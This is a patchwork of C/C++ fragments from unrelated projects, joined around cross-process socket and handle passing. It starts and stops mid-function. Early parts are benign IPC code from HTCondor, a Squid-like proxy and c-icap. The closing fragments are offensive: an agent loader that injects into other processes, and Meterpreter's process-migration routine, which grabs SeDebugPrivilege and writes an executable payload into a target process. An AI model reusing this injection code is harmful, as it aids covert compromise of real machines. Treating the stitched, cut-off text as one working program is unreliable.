is too long: %s\n", requested_by, sock_name.Value()); return false; } int named_sock_fd = socket(AF_UNIX,SOCK_STREAM,0); if( named_sock_fd == -1 ) { dprintf(D_ALWAYS,"ERROR: SharedPortClient: failed to created named socket%s to connect to %s: %s\n", requested_by, shared_port_id, strerror(errno)); return false; } ReliSock named_sock; named_sock.assign(named_sock_fd); named_sock.set_deadline( sock_to_pass->get_deadline() ); priv_state orig_priv = set_root_priv(); int connect_rc = connect(named_sock_fd,(struct sockaddr *)&named_sock_addr, SUN_LEN(&named_sock_addr)); set_priv( orig_priv ); if( connect_rc != 0 ) { dprintf(D_ALWAYS,"SharedPortClient: failed to connect to %s%s: %s\n", sock_name.Value(), requested_by, strerror(errno)); return false; } // Make certain SO_LINGER is Off. This will result in the default // of closesocket returning immediately and the system attempts to // send any unsent data. struct linger linger = {0,0}; setsockopt(named_sock_fd, SOL_SOCKET, SO_LINGER, (char*)&linger, sizeof(linger)); // Now prepare to pass the file descriptor // to the target process via named_sock. // First tell the target daemon that we are about to send the fd. named_sock.encode(); if( !named_sock.put((int)SHARED_PORT_PASS_SOCK) || !named_sock.end_of_message() ) { dprintf(D_ALWAYS,"SharedPortClient: failed to send SHARED_PORT_PASS_FD to %s%s: %s\n", sock_name.Value(), requested_by, strerror(errno)); return false; } // Now send the fd. // The documented way to initialize msghdr is to first set msg_controllen // to the size of the cmsghdr buffer and then after initializing // cmsghdr(s) to set it to the sum of CMSG_LEN() across all cmsghdrs. struct msghdr msg; char *buf = (char *) malloc(CMSG_SPACE(sizeof(int))); msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_control = buf; msg.msg_controllen = CMSG_SPACE(sizeof(int)); msg.msg_flags = 0; // I have found that on MacOS X 10.5, we must send at least 1 byte, // or we get "Message too long" when trying to send 0-byte message. struct iovec iov[1]; int junk = 0; iov[0].iov_base = &junk; iov[0].iov_len = 1; msg.msg_iov = iov; msg.msg_iovlen = 1; struct cmsghdr *cmsg = CMSG_FIRSTHDR((&msg)); void *cmsg_data = CMSG_DATA(cmsg); ASSERT( cmsg && cmsg_data ); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; int fd_to_pass = sock_to_pass->get_file_desc(); memcpy(cmsg_data,&fd_to_pass,sizeof(int)); msg.msg_controllen = cmsg->cmsg_len; if( sendmsg(named_sock.get_file_desc(),&msg,0) != 1 ) { dprintf(D_ALWAYS,"SharedPortClient: failed to pass socket to %s%s: %s\n", sock_name.Value(), requested_by, strerror(errno)); free(buf); return false; } // The following final ACK appears to be necessary on Mac OS X // 10.5.8 (not sure of others). It does not appear to be // necessary on any version of linux that I have tried. The // observed problem that this solves is random failures where // the endpoint sees the passed socket close right away. It // would be nice not to have an ACK, because then the whole // PassSocket() protocol would be non-blocking. Since the // protocol is blocking with this ACK, it means we could // temporarily deadlock if the endpoint we are passing the // socket to is blocking on us on some other channel. If // this becomes a problem, we can at least make the ACK only // happen on platforms that need it. This protocol is always // just local to the machine, so need to worry about keeping // it compatible between different platforms. named_sock.decode(); int status = 0; if( !named_sock.get(status) || !named_sock.end_of_message() ) { dprintf(D_ALWAYS,"SharedPortClient: failed to receive result for SHARED_PORT_PASS_FD to %s%s: %s\n", sock_name.Value(), requested_by, strerror(errno)); free(buf); return false; } if( status != 0 ) { dprintf(D_ALWAYS,"SharedPortClient: received failure response for SHARED_PORT_PASS_FD to %s%s\n", sock_name.Value(), requested_by); free(buf); return false; } dprintf(D_FULLDEBUG,"SharedPortClient: passed socket to %s%s\n", sock_name.Value(), requested_by); free(buf); return true; #else #error HAVE_SHARED_PORT is defined, but no method for passing fds is enabled. #endif }
int SharedPortClient::PassSocket(Sock *sock_to_pass,char const *shared_port_id,char const *requested_by, bool non_blocking) { #ifndef HAVE_SHARED_PORT dprintf(D_ALWAYS,"SharedPortClient::PassSocket() not supported on this platform\n"); SharedPortClient::m_failPassSocketCalls++; return FALSE; #elif WIN32 /* Handle Windows */ if( !SharedPortIdIsValid(shared_port_id) ) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: refusing to connect to shared port" "%s, because specified id is illegal! (%s)\n", requested_by, shared_port_id ); SharedPortClient::m_failPassSocketCalls++; return FALSE; } std::string pipe_name; SharedPortEndpoint::GetDaemonSocketDir(pipe_name); formatstr_cat(pipe_name, "%c%s", DIR_DELIM_CHAR, shared_port_id); MyString requested_by_buf; if( !requested_by ) { requested_by_buf.formatstr( " as requested by %s", sock_to_pass->peer_description()); requested_by = requested_by_buf.Value(); } HANDLE child_pipe; while(true) { child_pipe = CreateFile( pipe_name.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if(child_pipe != INVALID_HANDLE_VALUE) break; if(GetLastError() == ERROR_PIPE_BUSY) { dprintf(D_FULLDEBUG, "SharedPortClient: pipe id '%s' %s is busy, waiting\n", shared_port_id, requested_by); #if 1 // tj: this *might*? make a difference? bool timeout = true; for (int ii = 0; ii < 5; ++ii) { if (WaitNamedPipe(pipe_name.c_str(), 3 * 1000)) { timeout = false; break; } DWORD err = GetLastError(); dprintf(D_FULLDEBUG, "SharedPortClient: pipe id '%s' %s wait returned %d\n", shared_port_id, requested_by, err); } if (timeout) #else if (!WaitNamedPipe(pipe_name.c_str(), 20 * 1000)) #endif { DWORD err = GetLastError(); dprintf(D_ALWAYS, "ERROR: SharedPortClient: Wait for named pipe id '%s' %s for sending failed: %d %s\n", shared_port_id, requested_by, err, GetLastErrorString(err)); SharedPortClient::m_failPassSocketCalls++; return FALSE; } dprintf(D_FULLDEBUG, "SharedPortClient: wait for pipe id '%s' %s succeeded.\n", shared_port_id, requested_by); } else { DWORD err = GetLastError(); dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to open named pipe id '%s' %s for sending socket: %d %s\n", shared_port_id, requested_by, err, GetLastErrorString(err)); SharedPortClient::m_failPassSocketCalls++; return FALSE; } } DWORD child_pid; DWORD read_bytes = 0; BOOL read_result = ReadFile(child_pipe, &child_pid, sizeof(DWORD), &read_bytes, NULL); if(!read_result) { DWORD last_error = GetLastError(); dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to read PID from pipe: %d.\n", last_error); CloseHandle(child_pipe); SharedPortClient::m_failPassSocketCalls++; return FALSE; } else { dprintf(D_FULLDEBUG, "SharedPortClient: Read PID: %d\n", child_pid); } #pragma pack(push, 4) struct { int id; // condor commmand id WSAPROTOCOL_INFO wsa; // payload. } protocol_command; #pragma pack(pop) ZeroMemory(&protocol_command, sizeof(protocol_command)); int dup_result = WSADuplicateSocket(sock_to_pass->get_file_desc(), child_pid, &protocol_command.wsa); if(dup_result == SOCKET_ERROR) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to duplicate socket.\n"); CloseHandle(child_pipe); SharedPortClient::m_failPassSocketCalls++; return FALSE; } protocol_command.id = SHARED_PORT_PASS_SOCK; BOOL write_result = WriteFile(child_pipe, &protocol_command, sizeof(protocol_command), &read_bytes, 0); if(!write_result) { dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to send WSAPROTOCOL_INFO struct: %d\n", GetLastError()); CloseHandle(child_pipe); SharedPortClient::m_failPassSocketCalls++; return FALSE; } dprintf(D_FULLDEBUG, "SharedPortClient: Wrote %d bytes to named pipe.\n", read_bytes); FlushFileBuffers(child_pipe); CloseHandle(child_pipe); SharedPortClient::m_successPassSocketCalls++; return TRUE; #elif HAVE_SCM_RIGHTS_PASSFD /* Handle most (all?) Linux/Unix and MacOS platforms */ SharedPortState * state = new SharedPortState(static_cast<ReliSock*>(sock_to_pass), shared_port_id, requested_by, non_blocking); int result = state->Handle(); switch (result) { case KEEP_STREAM: // pass thru so that we return KEEP_STREAM; the PassSocket call is // pending, we want to keep the passed socket open until we get an // ack from endpoint. ASSERT( non_blocking ); // should only get KEEP_STREAM if non_blocking is true break; case SharedPortState::FAILED: result = FALSE; break; case SharedPortState::DONE: result = TRUE; break; case SharedPortState::CONTINUE: case SharedPortState::WAIT: default: // coding logic error if Handle() returns anything else EXCEPT("ERROR SharedPortState::Handle() unexpected return code %d",result); break; } return result; #else #error HAVE_SHARED_PORT is defined, but no method for passing fds is enabled. #endif }
static unsigned int __stdcall ipc_thread_1(void *in_params) { int t1, t2, t3, retval = -1; int p2c[2] = {-1, -1}; int c2p[2] = {-1, -1}; HANDLE hProcess = NULL, thread = NULL; pid_t pid = -1; struct thread_params thread_params; int x, tmp_s, fd = -1; char *str; #if HAVE_PUTENV char *env_str = NULL; #endif STARTUPINFO si; PROCESS_INFORMATION pi; long F; int prfd_ipc = -1, pwfd_ipc = -1, crfd_ipc = -1, cwfd_ipc = -1; char *prog = NULL, *buf1 = NULL; struct sockaddr_in CS_ipc, PS_ipc; struct ipc_params *params = (struct ipc_params *) in_params; int type = params->type; int crfd = params->crfd; int cwfd = params->cwfd; char **args = params->args; struct sockaddr_in PS = params->PS; buf1 = xcalloc(1, 8192); strcpy(buf1, params->prog); prog = strtok(buf1, w_space); if ((str = strrchr(prog, '/'))) prog = ++str; if ((str = strrchr(prog, '\\'))) prog = ++str; prog = xstrdup(prog); if (type == IPC_TCP_SOCKET) { debug(54, 3) ("ipcCreate: calling accept on FD %d\n", crfd); if ((fd = accept(crfd, NULL, NULL)) < 0) { debug(54, 0) ("ipcCreate: FD %d accept: %s\n", crfd, xstrerror()); goto cleanup; } debug(54, 3) ("ipcCreate: CHILD accepted new FD %d\n", fd); comm_close(crfd); snprintf(buf1, 8191, "%s CHILD socket", prog); fd_open(fd, FD_SOCKET, buf1); fd_table[fd].flags.ipc = 1; cwfd = crfd = fd; } else if (type == IPC_UDP_SOCKET) { if (comm_connect_addr(crfd, &PS) == COMM_ERROR) goto cleanup; } x = send(cwfd, hello_string, strlen(hello_string) + 1, 0); if (x < 0) { debug(54, 0) ("sendto FD %d: %s\n", cwfd, xstrerror()); debug(54, 0) ("ipcCreate: CHILD: hello write test failed\n"); goto cleanup; } #if HAVE_PUTENV env_str = xcalloc((tmp_s = strlen(Config.debugOptions) + 32), 1); snprintf(env_str, tmp_s, "SQUID_DEBUG=%s", Config.debugOptions); putenv(env_str); #endif memset(buf1, '\0', sizeof(buf1)); x = recv(crfd, buf1, 8191, 0); if (x < 0) { debug(54, 0) ("ipcCreate: CHILD: OK read test failed\n"); debug(54, 0) ("--> read: %s\n", xstrerror()); goto cleanup; } else if (strcmp(buf1, ok_string)) { debug(54, 0) ("ipcCreate: CHILD: OK read test failed\n"); debug(54, 0) ("--> read returned %d\n", x); debug(54, 0) ("--> got '%s'\n", rfc1738_escape(hello_buf)); goto cleanup; } /* assign file descriptors to child process */ if (_pipe(p2c, 1024, _O_BINARY | _O_NOINHERIT) < 0) { debug(54, 0) ("ipcCreate: CHILD: pipe: %s\n", xstrerror()); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } if (_pipe(c2p, 1024, _O_BINARY | _O_NOINHERIT) < 0) { debug(54, 0) ("ipcCreate: CHILD: pipe: %s\n", xstrerror()); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } if (type == IPC_UDP_SOCKET) { snprintf(buf1, 8192, "%s(%ld) <-> ipc CHILD socket", prog, -1L); crfd_ipc = cwfd_ipc = comm_open(SOCK_DGRAM, IPPROTO_UDP, local_addr, 0, 0, buf1); if (crfd_ipc < 0) { debug(54, 0) ("ipcCreate: CHILD: Failed to create child FD for %s.\n", prog); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } snprintf(buf1, 8192, "%s(%ld) <-> ipc PARENT socket", prog, -1L); prfd_ipc = pwfd_ipc = comm_open(SOCK_DGRAM, IPPROTO_UDP, local_addr, 0, 0, buf1); if (pwfd_ipc < 0) { debug(54, 0) ("ipcCreate: CHILD: Failed to create server FD for %s.\n", prog); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } tmp_s = sizeof(PS_ipc); memset(&PS_ipc, '\0', tmp_s); if (getsockname(pwfd_ipc, (struct sockaddr *) &PS_ipc, &tmp_s) < 0) { debug(54, 0) ("ipcCreate: getsockname: %s\n", xstrerror()); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } debug(54, 3) ("ipcCreate: FD %d sockaddr %s:%d\n", pwfd_ipc, inet_ntoa(PS_ipc.sin_addr), ntohs(PS_ipc.sin_port)); tmp_s = sizeof(CS_ipc); memset(&CS_ipc, '\0', tmp_s); if (getsockname(crfd_ipc, (struct sockaddr *) &CS_ipc, &tmp_s) < 0) { debug(54, 0) ("ipcCreate: getsockname: %s\n", xstrerror()); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } debug(54, 3) ("ipcCreate: FD %d sockaddr %s:%d\n", crfd_ipc, inet_ntoa(CS_ipc.sin_addr), ntohs(CS_ipc.sin_port)); if (comm_connect_addr(pwfd_ipc, &CS_ipc) == COMM_ERROR) { ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } fd = crfd; if (comm_connect_addr(crfd_ipc, &PS_ipc) == COMM_ERROR) { ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } } /* IPC_UDP_SOCKET */ t1 = dup(0); t2 = dup(1); t3 = dup(2); dup2(c2p[0], 0); dup2(p2c[1], 1); dup2(fileno(debug_log), 2); close(c2p[0]); close(p2c[1]); commUnsetNonBlocking(fd); memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.hStdInput = (HANDLE) _get_osfhandle(0); si.hStdOutput = (HANDLE) _get_osfhandle(1); si.hStdError = (HANDLE) _get_osfhandle(2); si.dwFlags = STARTF_USESTDHANDLES; /* Make sure all other valid handles are not inerithable */ for (x = 3; x < Squid_MaxFD; x++) { if ((F = _get_osfhandle(x)) == -1) continue; SetHandleInformation((HANDLE) F, HANDLE_FLAG_INHERIT, 0); } *buf1 = '\0'; strcpy(buf1 + 4096, params->prog); str = strtok(buf1 + 4096, w_space); do { strcat(buf1, str); strcat(buf1, " "); } while ((str = strtok(NULL, w_space))); x = 1; while (args[x]) { strcat(buf1, args[x++]); strcat(buf1, " "); } if (CreateProcess(buf1 + 4096, buf1, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { pid = pi.dwProcessId; hProcess = pi.hProcess; } else { pid = -1; WIN32_maperror(GetLastError()); x = errno; } dup2(t1, 0); dup2(t2, 1); dup2(t3, 2); close(t1); close(t2); close(t3); if (pid == -1) { errno = x; debug(54, 0) ("ipcCreate: CHILD: %s: %s\n", params->prog, xstrerror()); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } if (type == IPC_UDP_SOCKET) { WSAPROTOCOL_INFO wpi; memset(&wpi, 0, sizeof(wpi)); if (SOCKET_ERROR == WSADuplicateSocket(crfd_ipc, pid, &wpi)) { debug(54, 0) ("ipcCreate: CHILD: WSADuplicateSocket: %s\n", xstrerror()); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } x = write(c2p[1], (const char *) &wpi, sizeof(wpi)); if (x < sizeof(wpi)) { debug(54, 0) ("ipcCreate: CHILD: write FD %d: %s\n", c2p[1], xstrerror()); debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n", prog); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } x = read(p2c[0], buf1, 8192); if (x < 0) { debug(54, 0) ("ipcCreate: CHILD: read FD %d: %s\n", p2c[0], xstrerror()); debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n", prog); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } else if (strncmp(buf1, ok_string, strlen(ok_string))) { debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n", prog); debug(54, 0) ("--> read returned %d\n", x); buf1[x] = '\0'; debug(54, 0) ("--> got '%s'\n", rfc1738_escape(buf1)); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } x = write(c2p[1], (const char *) &PS_ipc, sizeof(PS_ipc)); if (x < sizeof(PS_ipc)) { debug(54, 0) ("ipcCreate: CHILD: write FD %d: %s\n", c2p[1], xstrerror()); debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n", prog); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } x = read(p2c[0], buf1, 8192); if (x < 0) { debug(54, 0) ("ipcCreate: CHILD: read FD %d: %s\n", p2c[0], xstrerror()); debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n", prog); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } else if (strncmp(buf1, ok_string, strlen(ok_string))) { debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n", prog); debug(54, 0) ("--> read returned %d\n", x); buf1[x] = '\0'; debug(54, 0) ("--> got '%s'\n", rfc1738_escape(buf1)); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } x = send(pwfd_ipc, ok_string, strlen(ok_string), 0); x = recv(prfd_ipc, buf1 + 200, 8191 - 200, 0); assert((size_t) x == strlen(ok_string) && !strncmp(ok_string, buf1 + 200, strlen(ok_string))); } /* IPC_UDP_SOCKET */ snprintf(buf1, 8191, "%s(%ld) CHILD socket", prog, (long int) pid); fd_note(fd, buf1); if (prfd_ipc != -1) { snprintf(buf1, 8191, "%s(%ld) <-> ipc CHILD socket", prog, (long int) pid); fd_note(crfd_ipc, buf1); snprintf(buf1, 8191, "%s(%ld) <-> ipc PARENT socket", prog, (long int) pid); fd_note(prfd_ipc, buf1); } /* else { IPC_TCP_SOCKET */ /* commSetNoLinger(fd); */ /* } */ thread_params.prog = prog; thread_params.send_fd = cwfd; thread_params.pid = pid; if ((thread_params.type = type) == IPC_TCP_SOCKET) thread_params.rfd = p2c[0]; else thread_params.rfd = prfd_ipc; thread = (HANDLE) _beginthreadex(NULL, 0, ipc_thread_2, &thread_params, 0, NULL); if (!thread) { debug(54, 0) ("ipcCreate: CHILD: _beginthreadex: %s\n", xstrerror()); ipcSend(cwfd, err_string, strlen(err_string)); goto cleanup; } snprintf(buf1, 8191, "%ld\n", (long int) pid); if (-1 == ipcSend(cwfd, buf1, strlen(buf1))) goto cleanup; debug(54, 2) ("ipc(%s,%ld): started successfully\n", prog, (long int) pid); /* cycle */ for (;;) { x = recv(crfd, buf1, 8192, 0); if (x <= 0) { debug(54, 3) ("ipc(%s,%d): %d bytes received from parent. Exiting...\n", prog, pid, x); break; } buf1[x] = '\0'; if (type == IPC_UDP_SOCKET && !strcmp(buf1, shutdown_string)) { debug(54, 3) ("ipc(%s,%d): request for shutdown received from parent. Exiting...\n", prog, pid); TerminateProcess(hProcess, 0); break; } debug(54, 5) ("ipc(%s,%d): received from parent: %s\n", prog, pid, rfc1738_escape_unescaped(buf1)); if (type == IPC_TCP_SOCKET) x = write(c2p[1], buf1, x); else x = send(pwfd_ipc, buf1, x, 0); if (x <= 0) { debug(54, 3) ("ipc(%s,%d): %d bytes written to %s. Exiting...\n", prog, pid, x, prog); break; } } retval = 0; cleanup: if (c2p[1] != -1) close(c2p[1]); if (fd_table[crfd].flags.open) ipcCloseAllFD(-1, -1, crfd, cwfd); if (prfd_ipc != -1) { send(crfd_ipc, shutdown_string, strlen(shutdown_string), 0); shutdown(crfd_ipc, SD_BOTH); shutdown(prfd_ipc, SD_BOTH); } ipcCloseAllFD(prfd_ipc, pwfd_ipc, crfd_ipc, cwfd_ipc); if (hProcess && WAIT_OBJECT_0 != WaitForSingleObject(hProcess, type == IPC_UDP_SOCKET ? 12000 : 5000)) { getCurrentTime(); debug(54, 0) ("ipc(%s,%d): WARNING: %s didn't exit in %d seconds.\n", prog, pid, prog, type == IPC_UDP_SOCKET ? 12 : 5); } if (thread && WAIT_OBJECT_0 != WaitForSingleObject(thread, 3000)) { getCurrentTime(); debug(54, 0) ("ipc(%s,%d): WARNING: ipc_thread_2 didn't exit in 3 seconds.\n", prog, pid); } getCurrentTime(); if (!retval) debug(54, 2) ("ipc(%s,%d): normal exit\n", prog, pid); if (buf1) xfree(buf1); if (prog) xfree(prog); if (env_str) xfree(env_str); if (thread) CloseHandle(thread); if (hProcess) CloseHandle(hProcess); if (p2c[0] != -1) close(p2c[0]); return retval; }
int send_handles(DWORD child_ID, HANDLE pipe, HANDLE child_handle, SOCKET sock_fd, HANDLE accept_mtx, HANDLE shmem_id, HANDLE shmem_mtx, int qsize) { DWORD dwWritten; HANDLE dupmutex; HANDLE dupshmem, dupshmemmtx; WSAPROTOCOL_INFO sock_info; memset(&sock_info, 0, sizeof(sock_info)); if (WSADuplicateSocket(sock_fd, child_ID, &sock_info) != 0) { ci_debug_printf(1, "Error socket duplicating:%d\n", WSAGetLastError()); } DuplicateHandle(GetCurrentProcess(), accept_mtx, child_handle, &dupmutex, SYNCHRONIZE, FALSE, 0); DuplicateHandle(GetCurrentProcess(), shmem_id, child_handle, &dupshmem, SYNCHRONIZE, FALSE, DUPLICATE_SAME_ACCESS); DuplicateHandle(GetCurrentProcess(), shmem_mtx, child_handle, &dupshmemmtx, SYNCHRONIZE, FALSE, DUPLICATE_SAME_ACCESS); if (!WriteFile(pipe, &child_handle, sizeof(HANDLE), &dwWritten, NULL) || dwWritten != sizeof(HANDLE)) { ci_debug_printf(1, "Error sending handles\n"); return 0; } if (!WriteFile(pipe, &pipe, sizeof(HANDLE), &dwWritten, NULL) || dwWritten != sizeof(HANDLE)) { ci_debug_printf(1, "Error sending handles\n"); return 0; } if (!WriteFile(pipe, &dupmutex, sizeof(HANDLE), &dwWritten, NULL) || dwWritten != sizeof(HANDLE)) { ci_debug_printf(1, "Error sending handles\n"); return 0; } if (!WriteFile(pipe, &dupshmem, sizeof(HANDLE), &dwWritten, NULL) || dwWritten != sizeof(HANDLE)) { ci_debug_printf(1, "Error sending handles\n"); return 0; } if (!WriteFile(pipe, &dupshmemmtx, sizeof(HANDLE), &dwWritten, NULL) || dwWritten != sizeof(HANDLE)) { ci_debug_printf(1, "Error sending handles\n"); return 0; } if (!WriteFile(pipe, &qsize, sizeof(int), &dwWritten, NULL) || dwWritten != sizeof(int)) { ci_debug_printf(1, "Error sending handles\n"); return 0; } if (!WriteFile (pipe, &sock_info, sizeof(WSAPROTOCOL_INFO), &dwWritten, NULL) || dwWritten != sizeof(WSAPROTOCOL_INFO)) { ci_debug_printf(1, "Error sending handles\n"); return 0; } // sprintf(buf,"%d:%d:%d:%d:%d",child_handle,dupmutex,dupshmem,dupshmemmtx,qsize); // WriteFile(pipe, buf, strlen(buf)+1, &dwWritten, NULL); return 1; }
/* * A pre injection hook called before our dll has been injected into a process. */ DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine ) { DWORD dwResult = ERROR_SUCCESS; LPVOID lpMemory = NULL; AGENT_CTX RemoteAgentContext = {0}; int i = 0; do { if( !hProcess || !cpCommandLine ) BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER ); // Use User32!WaitForInputIdle to slow things down so if it's a new // process (like a new winlogon.exe) it can have a chance to initilize... // Bad things happen if we inject into an uninitilized process. WaitForInputIdle( hProcess, 10000 ); CLOSE_HANDLE( hAgentCloseEvent ); CLOSE_HANDLE( hAgentProcess ); memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) ); hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL ); if( !hAgentCloseEvent ) BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" ); if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) ) BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" ) dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock ); // Duplicate the socket for the target process if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR ) BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" ) // Allocate memory for the migrate stub, context and payload lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpMemory ) BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" ) /*for( i=0 ; i<4 ; i++ ) { DWORD dwSize = 0; if( !AgentContext.dictionaries[i] ) continue; dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength ); RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !RemoteAgentContext.dictionaries[i] ) continue; if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) ) RemoteAgentContext.dictionaries[i] = NULL; }*/ // Write the ctx to memory... if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) ) BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" ) hAgentProcess = hProcess; _snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory ); } while( 0 ); if( dwResult != ERROR_SUCCESS ) { dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" ); CLOSE_HANDLE( hAgentCloseEvent ); } return dwResult; }
/*! * @brief Migrate the meterpreter server from the current process into another process. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @param pResult Pointer to the memory that will receive the result. * @returns Indication of whether the server should continue processing or not. */ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) { DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hEvent = NULL; BYTE * lpPayloadBuffer = NULL; LPVOID lpMigrateStub = NULL; LPBYTE lpMemory = NULL; MIGRATECONTEXT ctx = { 0 }; DWORD dwMigrateStubLength = 0; DWORD dwPayloadLength = 0; DWORD dwProcessID = 0; DWORD dwDestinationArch = 0; MetsrvConfig* config = NULL; DWORD configSize = 0; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the process identifier to inject into dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Get the target process architecture to inject into dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); // Get the length of the payload buffer dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload buffer lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); // If we can, get SeDebugPrivilege... if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) { if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } } CloseHandle(hToken); } // Open the process so that we can migrate into it hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); if (!hProcess) { BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") } // get the existing configuration dprintf("[MIGRATE] creating the configuration block"); remote->config_create(remote, &config, &configSize); dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); if (config->session.comms_fd) { // Duplicate the socket for the target process if we are SSL based if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) { BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") } } // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") } // Duplicate the event handle for the target process if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) { BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") } // Get the architecture specific process migration stub... if (dwDestinationArch == PROCESS_ARCH_X86) { lpMigrateStub = (LPVOID)&migrate_stub_x86; dwMigrateStubLength = sizeof(migrate_stub_x86); } else if (dwDestinationArch == PROCESS_ARCH_X64) { lpMigrateStub = (LPVOID)&migrate_stub_x64; dwMigrateStubLength = sizeof(migrate_stub_x64); } else { SetLastError(ERROR_BAD_ENVIRONMENT); dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch); break; } // Allocate memory for the migrate stub, context, payload and configuration block lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpMemory) { BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") } // Calculate the address of the payload... ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); // Write the migrate stub to memory... dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); if (!WriteProcessMemory(hProcess, lpMemory, 